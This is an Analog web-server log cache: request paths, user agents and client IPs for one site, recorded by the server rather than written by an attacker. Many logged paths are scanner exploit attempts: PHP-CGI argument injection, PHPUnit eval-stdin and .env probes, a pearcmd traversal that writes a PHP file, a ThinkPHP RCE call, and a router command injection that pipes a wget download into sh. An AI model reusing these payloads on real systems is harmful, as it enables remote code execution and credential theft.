CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	84	79	0	132	37394
D	29794330	29795761
20690	146	1	1	163
20690	151	2	2	326
20690	164	2	2	326
20690	167	1	1	163
20690	168	1	1	163
20690	175	2	2	326
20690	179	1	1	163
20690	183	1	1	163
20690	197	2	2	326
20690	199	2	2	326
20690	200	1	1	163
20690	207	1	1	163
20690	213	2	2	326
20690	220	2	2	326
20690	226	1	1	163
20690	227	1	1	163
20690	235	1	1	163
20690	240	2	1	7116
20690	248	2	2	326
20690	254	1	0	6953
20690	260	2	2	326
20690	261	2	1	1992
20690	271	2	2	326
20690	272	1	1	163
20690	285	2	2	326
20690	287	1	1	163
20691	8	1	1	163
20691	18	1	1	163
20691	19	2	2	326
20691	21	2	1	1992
20691	24	1	1	163
20691	32	1	1	163
20691	33	1	1	163
20691	36	1	1	163
20691	38	1	1	163
20691	48	5	4	7605
20691	50	3	3	489
20691	53	1	1	163
20691	55	2	2	326
20691	56	1	1	163
20691	68	2	2	326
20691	69	1	1	163
20691	73	1	1	163
20691	74	1	1	163
20691	75	1	1	163
20691	76	2	2	326
20691	78	1	1	163
20691	79	1	1	163
20691	104	1	1	163
20691	108	1	1	163
20691	111	1	1	163
20691	115	1	1	163
20691	116	1	1	163
20691	117	1	1	163
20691	119	1	1	163
20691	127	1	1	163
20691	128	1	1	163
20691	129	1	1	163
20691	131	2	2	326
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/app/.env
1	0	0	0	2	0	0	29795638	0	0	29795418	0	/admin/.env
1	5	0	0	0	29795282	0	0	29794801	0	0	24517	/cgi-sys/defaultwebpage.cgi
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/vendor/phpunit/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/vendor/phpunit/phpunit/LICENSE/eval-stdin.php
1	0	0	0	1	0	0	29795316	0	0	29795316	0	/webpages/login.html
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/phpunit/phpunit/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29795162	0	0	29795162	0	/manager/text/list
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/laravel/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/old/.env
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/base/.env
1	0	0	0	1	0	0	29794965	0	0	29794965	0	/v2/_catalog
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/new/.env
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	12	0	0	29795412	0	0	29794596	0	/favicon.ico
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/protected/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/api/.env
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/containers/json
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/backend/.env
1	1	1	0	0	29794499	0	0	29794499	0	0	163	/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
1	0	0	0	1	0	0	29795229	0	0	29795229	0	/geoserver/web/
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/public/.env
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/vendor/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	2	0	0	29795418	0	0	29794499	0	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	4	0	0	29795332	0	0	29794525	0	/SDK/webLanguage
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/vendor/laravel/.env
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/local/.env
1	0	0	0	1	0	0	29794908	0	0	29794908	0	/.well-known/security.txt
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/crm/.env
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	2	0	0	29795316	0	0	29794703	0	/admin/
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/core/.env
1	0	0	0	3	0	0	29795761	0	0	29795418	0	/.env
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794967	0	0	29794967	0	/developmentserver/metadatauploader
1	0	0	0	1	0	0	29795282	0	0	29795282	0	/cgi-sys/favicon.ico
1	0	0	0	1	0	0	29795316	0	0	29795316	0	/admin/login.asp
1	0	0	0	2	0	0	29795316	0	0	29794704	0	/cgi-bin/login.cgi
1	0	0	0	3	0	0	29795638	0	0	29795638	0	/162.0.208.6/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/cgi-bin/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/src/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/wp-content/.env
1	0	0	0	2	0	0	29795316	0	0	29794704	0	/login.html
1	0	0	0	1	0	0	29795226	0	0	29795226	0	/webui/
1	0	0	0	1	0	0	29795316	0	0	29795316	0	/login.jsp
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\x22hi\x22));?>+/tmp/index1.php
1	0	0	0	1	0	0	29795316	0	0	29795316	0	/login
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/newsite/.env
1	0	0	0	2	0	0	29795316	0	0	29794703	0	/manage/account/login
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/conf/.env
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/audio/.env
1	0	0	0	1	0	0	29795282	0	0	29795282	0	/v1
1	0	0	0	1	0	0	29795282	0	0	29795282	0	/version
1	0	0	0	2	0	0	29795287	0	0	29795287	0	/cgi-bin/luci/?form=country&operation=write&country=$(wget http://0.0.0.0/router.tplink.sh -O-|sh)
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	78	78	0	0	29795699	0	0	29794330	0	0	12714	/
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/lib/phpunit/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/nc-ph-2910.hyperbaricpros.com/.env
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/lib/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/index.php?lang=../../../../../../../../tmp/index1
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/storage/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/wp-admin/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/apps/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/blog/.env
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello
1	0	0	0	2	0	0	29795316	0	0	29794704	0	/login.htm
1	0	0	0	1	0	0	29795667	0	0	29795667	0	/HNAP1/
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/sites/all/libraries/mailchimp/.env
1	0	0	0	2	0	0	29795316	0	0	29794704	0	/+CSCOE+/logon.html
1	0	0	0	1	0	0	29794793	0	0	29794793	0	/portal/redlion
1	0	0	0	1	0	0	29795316	0	0	29795316	0	/doc/
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794739	0	0	29794739	0	/cgi-bin/authLogin.cgi
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/www/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/library/.env
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/phpunit/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29795316	0	0	29795316	0	/remote/login
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/lib/phpunit/phpunit/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/app/config/.env
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29795316	0	0	29795316	0	/web/
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	2	0	0	29795638	0	0	29795418	0	/vendor/.env
1	0	0	0	1	0	0	29795418	0	0	29795418	0	/database/.env
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794499	0	0	29794499	0	/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	29794500	0	0	29794500	0	/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
3	0	0	0	2	0	0	29795282	0	0	29795282	0	http://162.0.208.6/
4	1	1	0	6	29795638	0	29795638	29795638	0	29795638	163	Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36
4	1	1	0	33	29795418	0	29795418	29795418	0	29795418	163	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
4	1	1	0	0	29795384	0	0	29795384	0	0	163	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
4	0	0	0	1	0	0	29795761	0	0	29795761	0	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4	1	1	0	0	29794515	0	0	29794515	0	0	163	python-requests/2.32.5
4	10	10	0	0	29795699	0	0	29794330	0	0	1630	Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1
4	0	0	0	1	0	0	29795226	0	0	29795226	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
4	1	1	0	43	29794499	0	29794500	29794499	0	29794499	163	libredtail-http
4	2	2	0	0	29794735	0	0	29794636	0	0	326	Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)
4	4	4	0	20	29795316	0	29795316	29794703	0	29794703	652	Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)
4	1	1	0	0	29795687	0	0	29795687	0	0	163	Mozilla/5.0 (compatible; FlowIQ/1.0; +https://flowiq-labs.com/scanning-info)
4	2	2	0	0	29795564	0	0	29795385	0	0	326	Mozilla/5.0 (compatible; CyberConvoyScout/1.0; +https://scout.cyberconvoy.co)
4	0	0	0	1	0	0	29795228	0	0	29795228	0	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
4	2	2	0	0	29795424	0	0	29795423	0	0	326	visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36
4	2	1	0	0	29794801	0	0	29794801	0	0	7116	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4	0	0	0	1	0	0	29794801	0	0	29794801	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
4	0	0	0	4	0	0	29795332	0	0	29794525	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
4	2	1	0	0	29794872	0	0	29794589	0	0	7116	Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity
4	2	1	0	3	29794908	0	29794908	29794908	0	29794908	1992	Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
4	1	1	0	1	29795224	0	29795229	29795224	0	29795229	163	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
4	1	1	0	0	29795204	0	0	29795204	0	0	163	curl/7.74.0
4	1	1	0	1	29795130	0	29795130	29795130	0	29795130	163	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +https://forestengine.net/#opt-out
4	1	1	0	2	29795628	0	29794965	29795628	0	29794739	163	Go-http-client/1.1
4	2	1	0	1	29795147	0	29795147	29795147	0	29795147	1992	Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
4	2	1	0	2	29795282	0	29795282	29795282	0	29795282	7116	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
4	3	3	0	3	29795412	0	29795412	29794596	0	29794596	489	Mozilla/5.0 (compatible; FlowIQLabsBot/1.0; +https://flowiq-labs.com/scanning-info)
4	13	13	0	3	29795684	0	29795162	29794358	0	29794793	2119	Mozilla/5.0 zgrab/0.x
4	1	1	0	0	29795433	0	0	29795433	0	0	163	Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36
4	0	0	0	1	0	0	29795150	0	0	29795150	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
4	1	1	0	0	29795306	0	0	29795306	0	0	163	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
4	2	2	0	0	29795293	0	0	29795293	0	0	326	Mozilla/5.0
4	18	18	0	0	29795696	0	0	29794358	0	0	2934	Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
4	3	3	0	0	29795408	0	0	29794443	0	0	489	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
5	1	1	0	0	29795027	0	0	29795027	0	0	163	43.135.135.57
5	1	1	0	0	29794420	0	0	29794420	0	0	163	192.155.90.220
5	1	1	0	0	29795437	0	0	29795437	0	0	163	43.159.62.129
5	1	1	0	0	29795204	0	0	29795204	0	0	163	8.211.3.198
5	1	1	0	0	29794779	0	0	29794779	0	0	163	43.157.67.70
5	1	1	0	0	29795619	0	0	29795619	0	0	163	173.255.221.189
5	3	3	0	0	29795408	0	0	29794443	0	0	489	185.242.226.114
5	0	0	0	1	0	0	29794739	0	0	29794739	0	68.183.74.245
5	2	1	0	2	29795147	0	29795150	29795147	0	29795147	1992	150.107.38.184
5	0	0	0	2	0	0	29795287	0	0	29795287	0	221.159.119.6
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.92
5	1	1	0	1	29795628	0	29794965	29795628	0	29794965	163	161.35.219.97
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.243
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.241
5	0	0	0	2	0	0	29795418	0	0	29795418	0	136.144.42.84
5	0	0	0	2	0	0	29795418	0	0	29795418	0	136.144.42.83
5	1	1	0	0	29794665	0	0	29794665	0	0	163	72.14.178.148
5	2	2	0	0	29795291	0	0	29794600	0	0	326	172.234.217.192
5	1	1	0	0	29794636	0	0	29794636	0	0	163	85.217.149.38
5	1	1	0	43	29794499	0	29794500	29794499	0	29794499	163	165.1.78.209
5	0	0	0	2	0	0	29795418	0	0	29795418	0	136.144.42.76
5	1	1	0	1	29795232	0	29795233	29795232	0	29795233	163	151.243.11.235
5	1	1	0	0	29795384	0	0	29795384	0	0	163	35.233.125.244
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.223
5	2	2	0	2	29795412	0	29795412	29794596	0	29794596	326	151.243.11.230
5	1	1	0	1	29795418	0	29795418	29795418	0	29795418	163	136.144.42.219
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.220
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.218
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.63
5	1	1	0	0	29794735	0	0	29794735	0	0	163	85.217.149.23
5	1	1	0	0	29794478	0	0	29794478	0	0	163	45.33.90.118
5	0	0	0	2	0	0	29795418	0	0	29795418	0	136.144.42.215
5	0	0	0	2	0	0	29795418	0	0	29795418	0	136.144.42.60
5	0	0	0	2	0	0	29795418	0	0	29795418	0	136.144.42.208
5	2	2	0	0	29795293	0	0	29795293	0	0	326	46.151.178.11
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.54
5	1	1	0	0	29795581	0	0	29795581	0	0	163	45.79.181.94
5	1	1	0	0	29795433	0	0	29795433	0	0	163	109.105.210.103
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.194
5	1	1	0	0	29795622	0	0	29795622	0	0	163	172.236.228.229
5	0	0	0	2	0	0	29795418	0	0	29795418	0	136.144.42.47
5	1	1	0	0	29794330	0	0	29794330	0	0	163	43.166.238.12
5	2	2	0	14	29795316	0	29795316	29795316	0	29795316	326	216.180.246.77
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.189
5	1	1	0	0	29795081	0	0	29795081	0	0	163	172.104.11.46
5	1	1	0	0	29794964	0	0	29794964	0	0	163	172.235.41.44
5	1	1	0	0	29795385	0	0	29795385	0	0	163	192.248.150.180
5	1	1	0	0	29795564	0	0	29795564	0	0	163	144.202.92.17
5	1	1	0	0	29795039	0	0	29795039	0	0	163	103.203.57.3
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.185
5	1	1	0	0	29794959	0	0	29794959	0	0	163	45.79.8.221
5	1	1	0	0	29795026	0	0	29795026	0	0	163	45.79.172.21
5	0	0	0	1	0	0	29795667	0	0	29795667	0	175.107.205.18
5	1	1	0	0	29795383	0	0	29795383	0	0	163	172.236.228.220
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.183
5	0	0	0	1	0	0	29794967	0	0	29794967	0	20.51.239.86
5	2	2	0	6	29794703	0	29794704	29794703	0	29794703	326	216.180.246.66
5	2	2	0	0	29795424	0	0	29795423	0	0	326	3.130.168.2
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.32
5	0	0	0	4	0	0	29795332	0	0	29794525	0	195.182.16.23
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.31
5	1	1	0	0	29795320	0	0	29795320	0	0	163	47.254.47.156
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.30
5	1	1	0	0	29794586	0	0	29794586	0	0	163	43.131.243.61
5	2	1	0	3	29794908	0	29794908	29794908	0	29794908	1992	66.132.172.133
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.168
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.167
5	1	1	0	0	29794599	0	0	29794599	0	0	163	69.164.217.245
5	1	1	0	0	29795696	0	0	29795696	0	0	163	172.236.228.202
5	1	1	0	0	29795596	0	0	29795596	0	0	163	49.51.183.15
5	5	4	0	4	29795282	0	29795282	29795282	0	29795282	7605	152.32.133.206
5	1	1	0	0	29795139	0	0	29795139	0	0	163	192.155.90.118
5	1	1	0	0	29794841	0	0	29794841	0	0	163	172.234.217.129
5	0	0	0	1	0	0	29795761	0	0	29795761	0	185.38.142.195
5	1	1	0	0	29795209	0	0	29795209	0	0	163	172.104.215.178
5	1	1	0	0	29794358	0	0	29794358	0	0	163	45.79.207.129
5	1	1	0	0	29795684	0	0	29795684	0	0	163	20.121.117.190
5	1	1	0	0	29794840	0	0	29794840	0	0	163	45.79.115.134
5	1	1	0	0	29794901	0	0	29794901	0	0	163	172.105.128.13
5	0	0	0	1	0	0	29795162	0	0	29795162	0	172.174.236.184
5	1	1	0	0	29795679	0	0	29795679	0	0	163	50.116.26.161
5	0	0	0	1	0	0	29795228	0	0	29795228	0	64.62.156.168
5	1	1	0	0	29795163	0	0	29795163	0	0	163	43.153.36.110
5	1	1	0	2	29795224	0	29795229	29795224	0	29795226	163	64.62.156.162
5	1	1	0	6	29795638	0	29795638	29795638	0	29795638	163	79.127.222.204
5	1	1	0	0	29794478	0	0	29794478	0	0	163	45.79.207.111
5	1	1	0	0	29794420	0	0	29794420	0	0	163	45.79.207.110
5	1	1	0	0	29795699	0	0	29795699	0	0	163	43.166.253.94
5	0	0	0	1	0	0	29795418	0	0	29795418	0	136.144.42.135
5	1	1	0	0	29794358	0	0	29794358	0	0	163	66.228.53.136
5	1	1	0	0	29794733	0	0	29794733	0	0	163	45.33.80.243
5	1	1	0	0	29795306	0	0	29795306	0	0	163	54.91.68.68
5	1	1	0	0	29794589	0	0	29794589	0	0	163	205.210.31.97
5	1	1	0	0	29794900	0	0	29794900	0	0	163	45.79.211.97
5	1	1	0	0	29794515	0	0	29794515	0	0	163	35.241.206.51
5	1	1	0	0	29795139	0	0	29795139	0	0	163	45.79.207.252
5	2	1	0	1	29794801	0	29794801	29794801	0	29794801	7116	167.71.154.85
5	1	1	0	0	29795687	0	0	29795687	0	0	163	151.243.11.9
5	1	1	0	0	29794666	0	0	29794666	0	0	163	45.79.181.223
5	1	1	0	1	29795130	0	29795130	29795130	0	29795130	163	167.99.208.26
5	1	0	0	0	29794872	0	0	29794872	0	0	6953	205.210.31.109
5	0	0	0	1	0	0	29794793	0	0	29794793	0	20.65.193.105
5	1	1	0	0	29794435	0	0	29794435	0	0	163	43.157.20.63
z	3	79	79	29795699	12877
z	4	5	0	29795282	24517
c	200	84	29795699
c	400	1	29795667
c	404	130	29795638
c	499	1	29795761
